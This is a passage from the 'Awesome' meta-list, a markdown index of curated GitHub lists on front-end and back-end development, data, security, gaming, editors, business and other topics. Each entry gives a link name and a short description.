[Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [PageSpeed Metrics](https://github.com/palfi-ltd/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. - [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly. - [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/academic/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. - [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme) - [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme) - [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme) - [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - 